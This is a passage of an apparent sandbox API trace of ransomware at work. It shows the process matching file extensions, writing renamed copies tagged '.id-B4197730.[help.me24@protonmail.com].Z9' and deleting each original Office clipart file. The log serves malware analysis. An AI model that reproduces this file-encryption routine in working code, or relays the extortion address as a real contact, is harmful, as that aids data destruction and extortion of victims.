	[0092.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.332] lstrlenW (lpString=".7z") returned 3
	[0092.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.332] lstrlenW (lpString=".dbf") returned 4
	[0092.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.332] lstrlenW (lpString=".1cd") returned 4
	[0092.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0092.332] lstrlenW (lpString=".jpg") returned 4
	[0092.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.332] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.332] lstrlenW (lpString="FD00090_.WMF") returned 12
	[0092.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.332] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=14194) returned 1
	[0092.332] CloseHandle (hObject=0x390) returned 1
	[0092.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220
	[0092.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.333] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.333] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.333] GetLastError () returned 0x0
	[0092.333] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x3772, lpOverlapped=0x0) returned 1
	[0092.335] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x3780, lpOverlapped=0x0) returned 1
	[0092.336] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.336] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.336] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.337] CloseHandle (hObject=0x2bc) returned 1
	[0092.337] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.337] SetEndOfFile (hFile=0x390) returned 1
	[0092.338] CloseHandle (hObject=0x390) returned 1
	[0092.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1
	[0092.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.338] lstrlenW (lpString=".doc") returned 4
	[0092.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.338] lstrlenW (lpString=".docx") returned 5
	[0092.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.338] lstrlenW (lpString=".pdf") returned 4
	[0092.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.338] lstrlenW (lpString=".xls") returned 4
	[0092.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.338] lstrlenW (lpString=".xlsx") returned 5
	[0092.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.338] lstrlenW (lpString=".ppt") returned 4
	[0092.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.338] lstrlenW (lpString=".zip") returned 4
	[0092.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.338] lstrlenW (lpString=".rar") returned 4
	[0092.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.338] lstrlenW (lpString=".bz2") returned 4
	[0092.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.339] lstrlenW (lpString=".7z") returned 3
	[0092.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.339] lstrlenW (lpString=".dbf") returned 4
	[0092.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.339] lstrlenW (lpString=".1cd") returned 4
	[0092.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.339] lstrlenW (lpString=".jpg") returned 4
	[0092.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.339] lstrlenW (lpString=".doc") returned 4
	[0092.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.339] lstrlenW (lpString=".docx") returned 5
	[0092.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.339] lstrlenW (lpString=".pdf") returned 4
	[0092.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.339] lstrlenW (lpString=".xls") returned 4
	[0092.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.339] lstrlenW (lpString=".xlsx") returned 5
	[0092.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.339] lstrlenW (lpString=".ppt") returned 4
	[0092.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.339] lstrlenW (lpString=".zip") returned 4
	[0092.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.339] lstrlenW (lpString=".rar") returned 4
	[0092.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.339] lstrlenW (lpString=".bz2") returned 4
	[0092.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.339] lstrlenW (lpString=".7z") returned 3
	[0092.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.340] lstrlenW (lpString=".dbf") returned 4
	[0092.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.340] lstrlenW (lpString=".1cd") returned 4
	[0092.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0092.340] lstrlenW (lpString=".jpg") returned 4
	[0092.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.340] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.340] lstrlenW (lpString="FD00096_.WMF") returned 12
	[0092.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.341] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=37390) returned 1
	[0092.341] CloseHandle (hObject=0x390) returned 1
	[0092.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220
	[0092.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.341] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.341] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.341] GetLastError () returned 0x0
	[0092.341] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x920e, lpOverlapped=0x0) returned 1
	[0092.343] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x9210, lpOverlapped=0x0) returned 1
	[0092.345] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.345] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.345] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.345] CloseHandle (hObject=0x2bc) returned 1
	[0092.345] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.345] SetEndOfFile (hFile=0x390) returned 1
	[0092.346] CloseHandle (hObject=0x390) returned 1
	[0092.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 1
	[0092.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.347] lstrlenW (lpString=".doc") returned 4
	[0092.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.347] lstrlenW (lpString=".docx") returned 5
	[0092.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.347] lstrlenW (lpString=".pdf") returned 4
	[0092.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.347] lstrlenW (lpString=".xls") returned 4
	[0092.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.347] lstrlenW (lpString=".xlsx") returned 5
	[0092.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.347] lstrlenW (lpString=".ppt") returned 4
	[0092.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.347] lstrlenW (lpString=".zip") returned 4
	[0092.347] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.347] lstrlenW (lpString=".rar") returned 4
	[0092.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.347] lstrlenW (lpString=".bz2") returned 4
	[0092.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.347] lstrlenW (lpString=".7z") returned 3
	[0092.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.347] lstrlenW (lpString=".dbf") returned 4
	[0092.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.347] lstrlenW (lpString=".1cd") returned 4
	[0092.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.347] lstrlenW (lpString=".jpg") returned 4
	[0092.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.348] lstrlenW (lpString=".doc") returned 4
	[0092.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.348] lstrlenW (lpString=".docx") returned 5
	[0092.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.348] lstrlenW (lpString=".pdf") returned 4
	[0092.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.348] lstrlenW (lpString=".xls") returned 4
	[0092.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.348] lstrlenW (lpString=".xlsx") returned 5
	[0092.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.348] lstrlenW (lpString=".ppt") returned 4
	[0092.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.348] lstrlenW (lpString=".zip") returned 4
	[0092.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.348] lstrlenW (lpString=".rar") returned 4
	[0092.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.348] lstrlenW (lpString=".bz2") returned 4
	[0092.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.348] lstrlenW (lpString=".7z") returned 3
	[0092.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.348] lstrlenW (lpString=".dbf") returned 4
	[0092.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.348] lstrlenW (lpString=".1cd") returned 4
	[0092.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0092.348] lstrlenW (lpString=".jpg") returned 4
	[0092.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.348] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.349] lstrlenW (lpString="FD00296_.WMF") returned 12
	[0092.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.349] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=15856) returned 1
	[0092.349] CloseHandle (hObject=0x390) returned 1
	[0092.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220
	[0092.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.349] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.349] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.349] GetLastError () returned 0x0
	[0092.350] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x3df0, lpOverlapped=0x0) returned 1
	[0092.351] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x3e00, lpOverlapped=0x0) returned 1
	[0092.352] ReadFile (in: hFile=0x390, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.352] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.352] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.353] CloseHandle (hObject=0x2bc) returned 1
	[0092.353] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.353] SetEndOfFile (hFile=0x390) returned 1
	[0092.354] CloseHandle (hObject=0x390) returned 1
	[0092.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1
	[0092.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.354] lstrlenW (lpString=".doc") returned 4
	[0092.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.354] lstrlenW (lpString=".docx") returned 5
	[0092.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.354] lstrlenW (lpString=".pdf") returned 4
	[0092.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.354] lstrlenW (lpString=".xls") returned 4
	[0092.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.354] lstrlenW (lpString=".xlsx") returned 5
	[0092.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.354] lstrlenW (lpString=".ppt") returned 4
	[0092.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.355] lstrlenW (lpString=".zip") returned 4
	[0092.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.355] lstrlenW (lpString=".rar") returned 4
	[0092.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.355] lstrlenW (lpString=".bz2") returned 4
	[0092.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.355] lstrlenW (lpString=".7z") returned 3
	[0092.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.355] lstrlenW (lpString=".dbf") returned 4
	[0092.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.355] lstrlenW (lpString=".1cd") returned 4
	[0092.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.355] lstrlenW (lpString=".jpg") returned 4
	[0092.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.355] lstrlenW (lpString=".doc") returned 4
	[0092.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.355] lstrlenW (lpString=".docx") returned 5
	[0092.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.355] lstrlenW (lpString=".pdf") returned 4
	[0092.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.355] lstrlenW (lpString=".xls") returned 4
	[0092.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.355] lstrlenW (lpString=".xlsx") returned 5
	[0092.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.355] lstrlenW (lpString=".ppt") returned 4
	[0092.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0092.355] lstrlenW (lpString=".zip") returned 4
	[0092.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.355] lstrlenW (lpString=".rar") returned 4
